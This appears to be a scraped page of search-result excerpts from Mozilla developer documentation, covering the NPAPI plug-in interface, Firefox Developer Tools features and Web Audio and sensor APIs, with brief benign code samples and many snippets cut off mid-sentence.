new data stream produced by the plug-in and consumed by the browser. npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on which the plug-in was initiated). npn_poppopupsenabledstate pops the popups-enabled state. npn_posturl posts data to a url. npn_posturlnotify p...
Drawing and Event Handling - Plugins
time, but with different values. the browser can also call npp_setwindow multiple times with different values for the window, including null. for example, if a user removes an instance from the page, the browser should call npp_setwindow with a window value of null. this value prevents the instance from drawing further until it is pasted back on the page and npp_setwindow is called again with a
new value. mac os windows unix mac os on mac os, the browser passes an np_port structure in the window field of the npwindow structure. this structure contains a pointer to the graphics port (cgraphptr) into which the plug-in instance should draw and the x - and y - coordinates of the upper-left corner of this port. the plug-in can use these coordinates to call setorigin(portx, porty) to plac...
...in is windowless, use the npn_setvalue method. the instance parameter represents the current plug-in. the variable parameter contains plug-in information to set. the value parameter returns the name of the plug-in. to specify that a plug-in is windowless, use npn_setvalue with nppvpluginwindowbool as the value of variable and false as the value of value. the plug-in makes this call from its npp_
new method. if a plug-in does not make this call, it is considered a windowed plug-in. plug-ins on mac os x are always windowless. nperror npp_
new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved) { ... nperror result = npn_setvalue(instance, nppvpluginwindowbool, (void*)false); } ...
Memory - Plugins
rowser is able to manage memory more efficiently because it knows how much memory the plug-in is using at any given time. mac os the mac os browser frequently fills its memory partition with cached data that is purged only as necessary. since npn_memalloc automatically frees cached information if necessary to fulfill a request for memory, calls to npn_memalloc may succeed where direct calls to
newptr fail. the npn_memalloc method has the following syntax: void *npn_memalloc (uint32 size); the size parameter is an unsigned long integer that represents the amount of memory, in bytes, to allocate in the browser's memory space. this function returns a pointer to the allocated memory or null if not enough memory is available. the npn_memfree method deallocates a block of memory that was al...
...r 4.0 and later versions, this function is not necessary for the mac os platform; npn_memalloc now performs memory flushing internally. you need to use npn_memflush only when it is not possible to call npn_memalloc, for example, when calling system methods that allocate memory indirectly. if npn_memalloc is called, calls to npn_memflush have no effect. for example, suppose that the plug-in calls
newgworld, and that the call fails because of insufficient memory. the plug-in should try calling npn_memflush to free enough memory. if npn_memflush returns a value indicating that enough memory was freed, the plug-in can call
newgworld again. calling npn_memflush is particularly important to systems with small amounts of ram and with virtual memory turned off. to request that the browser free as m...
Plug-in Development Overview - Plugins
r plug-in modules for the platform and registers them. it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the contents of the plug-ins directory, or the registry on windows. a mime type is made up of a major type (such as application or image) and a minor type, for example, image/jpeg. if you define a
new mime type for a plug-in, you must register it with ietf (internet engineering task force). until your
new mime type is registered, preface its name with "x-", for example, image/x-nwim. for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions...
...methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp. use npn_geturl to request the browser to load a url into a particular browser window or frame for display, or to deliver the data of that url to the plug-in instance in a
new stream. the npn_geturlnotify function operates like npn_geturl, except that it notifies the plug-in of the result when the operation completes. use npn_posturl to send data to a url from a memory buffer or file. the result from the server can also be sent to a particular browser window or frame for display, or delivered to the plug-in instance in a
new stream. the npn_posturlnotify function op...
Introduction to DOM Inspector - Firefox Developer Tools
oads a document other than the one you'd like to inspect, you can select the desired document a few different ways. inspecting content documents the inspect content document menupopup can be accessed from the file menu, and it will list currently loaded content documents. in firefox and seamonkey browser, these will be the webpages you have opened in tabs. for thunderbird and seamonkey mail and
news, any messages you're viewing will be listed here. inspecting chrome documents the inspect chrome document menupopup can be accessed from the file menu , and it will contain the list of currently loaded chrome windows and subdocuments. a browser window and the dom inspector are likely be already open and displayed in this list. the dom inspector keeps track of all the windows that are open, so ...
...ing the dom inspector once you've opened the document for the page or chrome you are interested in, you'll see that it loads the dom nodes viewer in the document pane and the dom node viewer in the object pane. in the dom nodes viewer, there should be a structured, hierarchical view of the dom. by clicking around in the document pane, you'll see that the viewers are linked; whenever you select a
new node from the dom nodes viewer, the dom node viewer is automatically updated to reflect the information for that node. linked viewers are the first major aspect to understand when learning how to use the dom inspector. dom inspector viewers note that these viewers are just two viewers that the dom inspector provides. it's possible to use other viewers, but for now we'll stick to describing the ...
Debugging service workers - Firefox Developer Tools
to trigger the service worker lifecycle. running: the service worker is running. there are a couple of other useful controls on this view, too. unregister on the right-hand side of the service workers view there is an unregister button, which when pressed unregisters the service worker. this is very useful because, once registered, the service worker will not necessarily update to the
new version immediately, which can make debugging a pain. from updating your service worker: if your service worker has previously been installed, but then a
new version of the worker is available on refresh or page load, the
new version is installed in the background, but not yet activated. it is only activated when there are no longer any pages loaded that are still using the old service worker. ...
... debug important: the debug button is currently enabled only in firefox nightly. when your service worker is running, a debug button is available next to the source information (it is disabled when the service worker is stopped). ...
Set a breakpoint - Firefox Developer Tools
points on line and remove breakpoints on line: remove or disable column breakpoints. if the breakpoint is an unconditional breakpoint, you'll get an option add condition, which allows you to turn it into a conditional breakpoint. if the breakpoint is a conditional breakpoint, you'll get an option edit condition, which allows you to change the previously set condition. inline variable preview
new in firefox 71, the source pane now gives you an inline preview of the variables on each line of code you've stepped through: this is a very useful timesaver when stepping through your code. previously you’d have to scroll through the scopes panel to find variable values, or hover over a variable in the source pane. now when execution pauses, you can view relevant variables immediately. not...
... source pane now gives you an inline preview of the variables on each line of code you've stepped through: this is a very useful timesaver when stepping through your code. previously you’d have to scroll through the scopes panel to find variable values, or hover over a variable in the source pane. now when execution pauses, you can view relevant variables immediately. note: there is also a
new option in the context menu for the actual code in the source pane — hide inline preview/show inline preview — which allows you to turn the inline variables on/off. ...
Set event listener breakpoints - Firefox Developer Tools
d, it’d be far more useful if we showed where in our own app code is calling the jquery that fired the event. this can be done by finding jquery.js in the sources panel, and choosing the ignore source option from its context menu. ...
...ery the event was fired: filter by event type also added to firefox 71 is a
new filter by event type... text input, which can also be found at the top of the event listener breakpoints list. when you click in this input and type a search term, the list of event listener types will filter by that term allowing you to find the events you want to break on more easily. inline variable preview
new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through. see set a breakpoint > inline variable preview for more information. ...
Debugger.Source - Firefox Developer Tools
ript implementation may generate a fresh debugger.source instance to represent each presentation, or it may use a single debugger.source instance to represent them all. debugger.source for webassembly for a debugger.source instance representing the serialized text of a block of webassembly code, its properties provide the serialized text as a string. currently only entire modules evaluated via
new webassembly.module are represented. spidermonkey constructs exactly one debugger.source for each underlying webassembly module per debugger instance. please note at the time of this writing, support for webassembly is very preliminary. many properties below return placeholder values. convention for descriptions of properties and methods below, if the behavior of the property or method differs ...
...r importscripts function. the url may be the name of a xpcom javascript module or subscript. (note that code passed to eval, the function constructor, or a similar function isnot considered to be loaded from a url; the url accessor on debugger.source instances for such sources should return undefined.) if the instance refers to webassembly code, the url of the script that called
new webassembly.module with the string "> wasm" appended. sourcemapurl if the instance refers to javascript source, if this source was produced by a minimizer or translated from some other language, and we know the url of a source map document relating the source positions in this source to the corresponding source positions in the original source, then this property’s value is that url. othe...
Tutorial: Set a breakpoint - Firefox Developer Tools
bugger, and memory panels. click on the scratchpad panel and enter the following code: components.utils.import("resource://gre/modules/jsdebugger.jsm"); components.utils.import("resource://gre/modules/console.jsm"); // this simply defines 'debugger' in this scratchpad; // it doesn't actually start debugging anything. adddebuggertoglobal(this); // create a 'debugger' instance. var dbg =
new debugger; // make the tab's top window a debuggee, and get a // debugger.object referring to the window. var windowdo = dbg.adddebuggee(tabs[0].content); // get a debugger.object referring to the window's `report` // function. var reportdo = windowdo.getownpropertydescriptor('report').value; // set a breakpoint at the entry point of `report`. reportdo.script.setbreakpoint(0, { hit: functio...
...a different element of the array as the debuggee. press “run” in the scratchpad again. now, clicking on “click me!” causes the breakpoint hit to be logged twice—one for each debugger instance. multiple debugger instances can observe the same debuggee. re-running the code in the scratchpad creates a fresh debugger instance, adds the same web page as its debuggee, and then sets a
new breakpoint. when you click on the div element, both debuggers’ breakpoints are hit, and both handlers run. this shows how any number of debugger-based tools can observe a single web page simultaneously. in fact, you can use the browser content toolbox’s debugger panel to set its own breakpoint in report, and it will trigger along with the first two. keep in mind, however, that when multipl...
Deprecated tools - Firefox Developer Tools
not all of these have had wide adoption, and due to the cost of maintenance, seldom used panels are eventually removed. we have created this list of deprecated or removed panels. this page documents the deprecated panels and the bugs that track their removal. although these panels have been removed, you still have access to the old code, and there are alternative webextensions that you can try to get similar functionality. when we deprecate a panel, we begin by getting feedback from the community to determine the impact of removing that panel. ...
...de. you can write, run, and examine the result of code that interacts with the web page. alternatives in firefox 71+, you can write multi-line javascript code in the web console editor mode, making it similar to the scratchpad. the editor mode can be triggered clicking on the icon on the right of the console input, or with ctrl + b (cmd + b on macos) when in editor mode, the enter key adds a
new line in the input, and you can evaluate the expression using ctrl + enter (cmd + enter on macos). when evaluating, the input isn't cleared, which makes it possible to quickly iterrate over a snippet of code. the results are displayed in the console output, to the right of the input, providing immediate feedback. unlike in scratchpad, errors are properly displayed in the output with an expanda...
Edit CSS filters - Firefox Developer Tools
css filter properties in the rules view have a circular gray and white swatch next to them: clicking the swatch opens a filter editor: the filter editor lists each of the effects performed by that filter on a separate line. you can edit these lines, remove them individually, or drag the effects to change the order in which they are applied. you can also add
new effects by selecting an effect from the dropdown list at the bottom of the dialog. once you have selected the effect you want to add, click the plus sign (+) to the right of the dropdown list. once you have added an effect, enter the settings you want and then press enter to update the effect. the change will be apparent as soon as youpress enter. saving filter presets from firefox 42 onwards, you can also add filters to a l...
...f presets. the list of presets will be preserved between browser sessions, making it easy to apply the settings in the future. you can save the current filter to the preset list: click to edit the filter, display the preset list by clicking the icon as shown below. type a name for your preset, and then click the plus sign to add it to the list of presets. you can then apply saved filters to
new elements. to apply one of your saved presets, click its name in the list. ...
Edit Shape Paths in CSS - Firefox Developer Tools
clicking on the shapes icon next to the value of circle() will highlight the shape, and also give you the option to resize the circle or move its center. if you move or resize the circle past the margin box, the edges become clipped by it. in the rules panel you can see the values for circle() change as you edit the shape. you can then copy these values back into your stylesheet to create the
new, tweaked shape path. ellipse() if the value of shape-outside is ellipse() then you are using the ellipse basic shape. the ellipse() value works in much the same way as circle() in the shape path editor. an ellipse is a squashed circle and therefore has the option to resize horizontally and vertically when you click on the shapes icon. inset() if the value of shape-outside is inset() then yo...
...value of shape-outside is polygon() then you are using the polygon basic shape. this is the most complex of the basic shape values, therefore the tool gives you more options when editing these: clicking on the shapes icon will activate the shapes path editor and give you the option to move any of the points of your polygon shape. double-click anywhere on a line of the shape and you will get a
new point to adjust. double click on an existing point and it will be removed. remember that a polygon needs at least three points. moving and scaling shapes there is extra functionality available on the shape highlight — if you ctrl/cmd + click on the shapes icon for your shape the highlight will change, instead providing the ability to scale and/or move it. once again, clipping will occur i...
Storage Inspector - Firefox Developer Tools
rigin and then by the name of the cache: indexeddb objects are organized by origin, then by database name, then by object store name: with the cookies, local storage, and session storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin: you can click on each item in the tree to expand or collapse its children. the tree is live, so if a
new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically. clicking on a tree item will display detailed information about that item in the table widget on the right. for example, clicking on an origin which is a child of the cookies storage type will show all the cookies belonging to that domain. table widget the table widget displays a list of ...
... search there's a search box at the top of the table widget: this filters the table to show only items which match the search term. items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term. you can use ctrl + f (cmd + f on a mac) to focus the search box. add and refresh storage you'll also have buttons available to add a
new storage entry or refresh the view of the currently viewed storage type where applicable (you can't add
new entries to indexeddb or cache): sidebar when you select any row in the storage table widget, the sidebar is shown with details about that row. if a cookie is selected, it will list all the details about that cookie. the sidebar can parse the value of the cookie or local storage item or ...
Console messages - Firefox Developer Tools
s only logged once and this counter appears to indicate how many times it was encountered. filename and line number for javascript, css and console api messages, the message can be traced to a specific line of code. the console then provides a link to the filename and line number that generated the message. by default, the console is cleared each time you navigate to a
new page or reload the current page. to override this behavior, enable persist logs in the console settings menu (gear icon). the context menu options listed below are available on all message categories. additional context menu options are described in the subsection for the message category they apply to. copy message copies the selected message to the clipboard. select all selects all message...
...eference page for that code. the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details resend request sends the network request again. open url in
new tab opens the url in a
new browser tab. if the resource is an image, the image will be opened in a
new tab. if the resource is a stylesheet, you will see the css rules, etc. js javascript errors contain a "learn more" link that takes you to the javascript error reference containing additional advice for fixing issues: source maps the web console understands source maps. this means that...
Web Console UI Tour - Firefox Developer Tools
the sections below. toolbar the toolbar across the top contains a number of features: garbage can: click this icon to clear the contents of the console. funnel: click this icon to filter the messages that are displayed in the console. filter categories: you can click a filter category (such as errors, warnings, css, or xhr) to display just those types of messages. settings ("gear" menu):
new in firefox 71, you can click the gear icon to access the
new settings menu, where you can toggle the following features on and off: persist logs: when enabled, the console doesn't clear on page reload, or
new page load. show timestamps: when enabled, timestamps are shown on the left-hand side of each message row to say when the messages were logged. group similar messages: when enable...
...red on the command line. see console messages for a lot more detail on what the messages can contain. note: you can clear the contents of the console by entering the keyboard command ctrl + shift + l (windows, macos, and linux) or cmd + k on macos. command line the command line starts with double angle brackets (>>). use it to enter javascript expressions. in firefox 71 onwards, there is a
new "split pane" icon on the right hand side of the command line — clicking this will open the
new console multi-line mode. ...
AbortController.AbortController() - Web APIs
the abortcontroller() constructor creates a
new abortcontroller object instance. syntax var controller =
new abortcontroller(); parameters none. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. ...
... associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller =
new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ...
Accelerometer.Accelerometer() - Web APIs
a whole number or decimal may be used, the latter for frequencies less than a second. ...
...a whole number or decimal may be used, the latter for frequencies less than a second. ...
Accelerometer - Web APIs
ensor, the user must grant permission to the 'accelerometer', device sensor through the permissions api. if a feature policy blocks the use of a feature, it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. constructor accelerometer.accelerometer() creates a
new accelerometer object. properties accelerometer.x read only returns a double containing the acceleration of the device along the device's x axis. accelerometer.y read only returns a double containing the acceleration of the device along the device's y axis. accelerometer.z read only returns a double containing the acceleration of the device along the device's z axis. example accele...
... the device's x axis. accelerometer.y read only returns a double containing the acceleration of the device along the device's y axis. accelerometer.z read only returns a double containing the acceleration of the device along the device's z axis. example acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
AmbientLightSensor - Web APIs
user must grant permission to the 'ambient-light-sensor' device sensor through the permissions api. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. ...
...hing that would ever be shown to a user. see feature-policy for implementation instructions. constructor ambientlightsensor.ambientlightsensor() creates a
new ambientlightsensor object. properties ambientlightsensor.illuminance returns the current light level in lux of the ambient light level around the hosting device. example if ( 'ambientlightsensor' in window ) { const sensor =
new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general. ambient ligh...
AnalyserNode.frequencyBinCount - Web APIs
384. example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
...ples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; ... ...
Animation() - Web APIs
although in the future other effects such as sequenceeffects or groupeffects might be possible, the only kind of effect currently available is keyframeeffect. this can be null (which is the default) to indicate that there should be no effect applied. timeline optional specifies the timeline with which to associate the animation, as an object of a type based on the animationtimeline interface. ...
...pe available is documenttimeline, but in the future there my be timelines associated with gestures or scrolling, for example. the default value is document.timeline, but this can be set to null as well. examples in the follow the white rabbit example, the animation() constructor is used to create an animation for the rabbitdownkeyframes using the document's timeline: var rabbitdownanimation =
new animation(rabbitdownkeyframes, document.timeline); specifications specification status comment web animationsthe definition of 'animation()' in that specification. working draft editor's draft. ...
AnimationEvent() - Web APIs
type a domstring representing the name of the type of the animationevent. it is case-sensitive and can be: 'animationstart', 'animationend', or 'animationiteration'. animationname optional a domstring containing the value of the animation-name css property associated with the transition. it defaults to "". ...
...tive value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). it defaults to 0.0. pseudoelement optional is a domstring, starting with "::", containing the name of the pseudo-element the animation runs on. if the animation doesn't run on a pseudo-element but on the element itself, specify an empty string: "". it defaults to "". return value a
new animationevent, initialized per any provided options. specifications specification status comment css animationsthe definition of 'animationevent()' in that specification. working draft initial definition. ...
AudioBuffer() - Web APIs
options options are as follows: length: the size of the audio buffer in sample-frames. to determine the length to use for a specific number of seconds of audio, use numseconds * samplerate. numberofchannels: the number of channels for the buffer. the default is 1, and all user agents are required to support at least 32 channels. samplerate: the sample rate in hz for the buffer. the default is the sample rate of the context used in constructing this object. ...
...nels. samplerate: the sample rate in hz for the buffer. the default is the sample rate of the context used in constructing this object. user agents are required to support sample rates from 8,000 hz to 96,000 hz (but are allowed to go farther outside this range). deprecated parameters context a reference to an audiocontext. this parameter was removed from the spec. return value a
new audiobuffer object instance. exceptions notsupportederror one or more of the options are negative or otherwise has an invalid value (such as numberofchannels being higher than supported, or a samplerate outside the nominal range). rangeerror there isn't enough memory available to allocate the buffer. specifications specification status comment web audio apithe de...
AudioBuffer - Web APIs
enting the mediaelementaudiosourcenode are more suitable. the buffer contains data in the following format: non-interleaved ieee754 32-bit linear pcm with a nominal range between -1 and +1, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0. if the audiobuffer has multiple channels, they are stored in separate buffer. constructor audiobuffer() creates and returns a
new audiobuffer object instance. properties audiobuffer.samplerate read only returns a float representing the sample rate, in samples per second, of the pcm data stored in the buffer. audiobuffer.length read only returns an integer representing the length, in sample-frames, of the pcm data stored in the buffer. audiobuffer.duration read only returns a double representing the duration, in...
...the audiobuffer to the destination array. audiobuffer.copytochannel() copies the samples to the specified channel of the audiobuffer, from the source array. example the following simple example shows how to create an audiobuffer and fill it with random white noise. you can find the full source code at our webaudio-examples repository; a running live version is also available. ...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
the audiobuffersourcenode() constructor creates a
new audiobuffersourcenode object instance. syntax var audiobuffersourcenode =
new audiobuffersourcenode(context, options) parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext. options optional options are as follows: buffer: an instance of audiobuffer to be played. detune: a value in cents to modulate the speed of audio stream rendering. its nominal range is (-∞ to +∞). the default is 0. loop: a boolean indicating whether the audio should play in a loop. the default is false. if the loop is dynamically modified during playback, the
new value will take effect on the next processing block of audio. loopend: an optional value, in seconds, where looping should end if t...
...et within the buffer, by multiplying by the buffer's sample rate and rounding to the nearest integer value. thus, its behavior is independent of the value of the playbackrate parameter. playbackrate: the speed at which to render the audio stream. its default value is 1. this parameter is k-rate. this is a compound parameter with detune. its nominal range is (-∞ to +∞). return value a
new audiobuffersourcenode object instance. specifications specification status comment web audio apithe definition of 'audiobuffersourcenode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://g...
AudioContext.close() - Web APIs
the close() method of the audiocontext interface closes the audio context, releasing any system audio resources that it uses. closed contexts cannot have
new nodes created, but can decode audio data, create buffers, etc. this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might prevent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data. ...
... system audio resources that might prevent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data. the returned promise resolves when all audiocontext-creation-blocking resources have been released. this method throws an invalid_state_err exception if called on an offlineaudiocontext. syntax var audioctx =
new audiocontext(); audioctx.close().then(function() { ... }); await audioctx.close(); returns a promise that resolves with void. example the following snippet is taken from our audiocontext states demo (see it running live.) when the stop button is clicked, close() is called. when the promise resolves, the example is reset to its beginning state. stopbtn.onclick = function() { audioctx.close...
AudioContext.getOutputTimestamp() - Web APIs
the two values are as follows: audiotimestamp.contexttime: the time of the sample frame currently being rendered by the audio output device (i.e., output audio stream position), in the same units and origin as the context's audiocontext.currenttime. basically, this is the time after the audio context was first created. audiotimestamp.performancetime: an estimation of the moment when the sample frame corresponding to the stored contexttime value was rendered by the audio output device, in the same units and origin as performance.now(). ...
...the audio context was first rendered examples in the following code we start to play an audio file after a play button is clicked, and start off a requestanimationframe loop running, which constantly outputs the contexttime and performancetime. you can see full code of this example at output-timestamp (see it live also). ...
AudioContextOptions - Web APIs
it is only used when calling the audiocontext() constructor. properties latencyhint optional the type of playback that the context will be used for, as a value from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds. the user agent may or may not choose to meet this request; check the value of audiocontext.baselatency to determine the true latency after creating the context. ...
... value. "playback" the user agent should select a latency that will maximize playback time by minimizing power consumption at the expense of latency. useful for non-interactive playback, such as playing music. example this example instantiates an audio context for music playback (optimized for power consumption over latency), with the sample rate 48,000 hz. let musiccontext =
new audiocontext({ latencyhint: "playback", samplerate: 48000 }); specifications specification status comment web audio apithe definition of 'audiocontextoptions' in that specification. working draft initial definition. ...
AudioDestinationNode.maxChannelCount - Web APIs
the maxchannelcount property of the audiodestinationnode interface is an unsigned long defining the maximum amount of channels that the physical device can handle. the audionode.channelcount property can be set between 0 and this value (both included). if maxchannelcount is 0, like in offlineaudiocontext, the channel count cannot be changed. ...
... value (both included). if maxchannelcount is 0, like in offlineaudiocontext, the channel count cannot be changed. syntax var audioctx =
new audiocontext(); var mydestination = audioctx.destination; mydestination.maxchannelcount = 2; value an unsigned long. example the following would set up a simple audio graph, featuring an audiodestinationnode with maxchannelcount of 2: var audioctx =
new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); audioctx.destination.maxchannelcount = 2; gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or violent theremin. specifications specification status comment web au...
AudioNode.channelInterpretation - Web APIs
und channels are passed unchanged. the subwoofer (lfe) channel is lost. output.l = input.l + 0.7071 * input.c output.r = input.r + 0.7071 * input.c output.sl = input.sl output.sr = input.sr other, non-standard layouts non-standard channel layouts are handled as if channelinterpretation is set to discrete. the specification explicitly allows the future definition of
new speaker layouts. this fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future. discrete any (x) any (y) where x<y up-mix discrete channels. fill each output channel with its input counterpart, that is the input channel with the same index. channels with no corresponding input channels are left silent. ...
...ut counterpart, that is the input channel with the same index. input channels with no corresponding output channels are dropped. syntax var oscillator = audioctx.createoscillator(); oscillator.channelinterpretation = 'discrete'; value an enumerated value representing a channelinterpretation. example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelinterpretation = 'discrete'; specifications specification status comment web audio apithe definition of 'channelinterpretation' in that specification. working draft ...
AudioNode.connect() - Web APIs
o from an html5 media element such as <audio>—through a band pass filter implemented using a biquadfilternode to reduce noise before then sending the audio along to the speakers. this example creates an oscillator, then links it to a gain node, so that the gain node controls the volume of the oscillator node. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); audioparam example in this example, we will be altering the gain value of a gainnode using an oscillatornode with a slow frequency value. this technique is know as an lfo-controlled parameter. var audiocontext = window.audi...
...lator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); audioparam example in this example, we will be altering the gain value of a gainnode using an oscillatornode with a slow frequency value. this technique is know as an lfo-controlled parameter. ...
AudioParam.setValueAtTime() - Web APIs
syntax var audioparam = audioparam.setvalueattime(value, starttime) parameters value a floating point number representing the value the audioparam will change to at the given time. starttime a double representing the time (in seconds) after the audiocontext was first created that the change in value will happen. a typeerror is thrown if this value is negative. ...
...r webaudio-examples repo for the source code, or view the example live). ...
AudioParam.setValueCurveAtTime() - Web APIs
examples in this example, we have a media source with a single button (see the webaudio-examples repo for the source code, or view the example live.) when this button is pressed, setvaluecurveattime() is used to change the gain value between the values contained in the wavearray array: // create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; var valuecurve = document.queryselector('.value-curve'); // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelem...
...emediaelementsource(myaudio); // create a gain node and set it's gain value to 0.5 var gainnode = audioctx.creategain(); gainnode.gain.value = 0.5; var currgain = gainnode.gain.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination source.connect(gainnode); gainnode.connect(audioctx.destination); // set button to do something onclick var wavearray =
new float32array(9); wavearray[0] = 0.5; wavearray[1] = 1; wavearray[2] = 0.5; wavearray[3] = 0; wavearray[4] = 0.5; wavearray[5] = 1; wavearray[6] = 0.5; wavearray[7] = 0; wavearray[8] = 0.5; valuecurve.onclick = function() { gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); } specifications specification status comment web audio apithe definition...
AudioParamDescriptor - Web APIs
ue which is to be used for all 128 samples // if no automation is scheduled for the moment. } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. ...
...}) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. ...
AudioProcessingEvent - Web APIs
unt of white noise, before setting that result to be the output sample in each case. ...
... // create audiocontext and buffer source var audioctx =
new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request =
new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a func...
AudioTrackList - Web APIs
list. retrieve an instance of this object with htmlmediaelement.audiotracks. the individual tracks can be accessed using array syntax. properties this interface also inherits properties from its parent interface, eventtarget. length read only the number of tracks in the list. event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a
new audio track has been added to the media element. onchange an event handler to be called when the change event occurs. this occurs when one or more tracks have been enabled or disabled by their enabled flag being changed. onremovetrack an event handler to call when the removetrack event is sent, indicating that an audio track has been removed from the media element. methods this interface a...
...handler to call when the removetrack event is sent, indicating that an audio track has been removed from the media element. methods this interface also inherits methods from its parent interface, eventtarget. gettrackbyid() returns the audiotrack found within the audiotracklist whose id matches the specified string. if no match is found, null is returned. events addtrack fired when a
new audio track has been added to the media element. also available via the onaddtrack property. change fired when a track has been enabled or disabled. also available via the onchange property. removetrack fired when a
new audio track has been removed from the media element. also available via the onremovetrack property. usage notes in addition to being able to obtain direct access to the ...
AudioWorkletNode() - Web APIs
the audioworkletnode() constructor creates a
new audioworkletnode object, which represents an audionode that uses a javascript function to perform custom audio processing. syntax var node =
new audioworkletnode(context, name); var node =
new audioworkletnode(context, name, options); parameters context the baseaudiocontext instance this node will be associated with. name a string, which represents the name of the audioworkletprocessor this node will be based on. a processor with the provided name must first be registered using the audioworkletglobalscope.registerprocessor() method. options optional an object based on the audioworkletnodeoptions dictionary, which contains zero or more optional properties to configure the
new node. the result of the structured clone algorithm applie...
... must match numberofoutputs. parameterdata optional an object containing the initial values of custom audioparam objects on this node (in its parameters property), with key being the name of a custom parameter and value being its initial value. processoroptions optional any additional data that can be used for custom initialization of the underlying audioworkletprocessor. return value the
newly constructed audioworkletnode instance. exceptions notsupportederror the specified options.outputchannelcount is 0 or larger than the current implementation supports. indexsizeerror the length of options.outputchannelcount array does not match options.numberofoutputs. example for a complete example demonstrating user-defined audio processing, see the audioworkletnode page. specificati...
AudioWorkletNode.parameters - Web APIs
ue which is to be used for all 128 samples // if no automation is scheduled for the moment. } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. ...
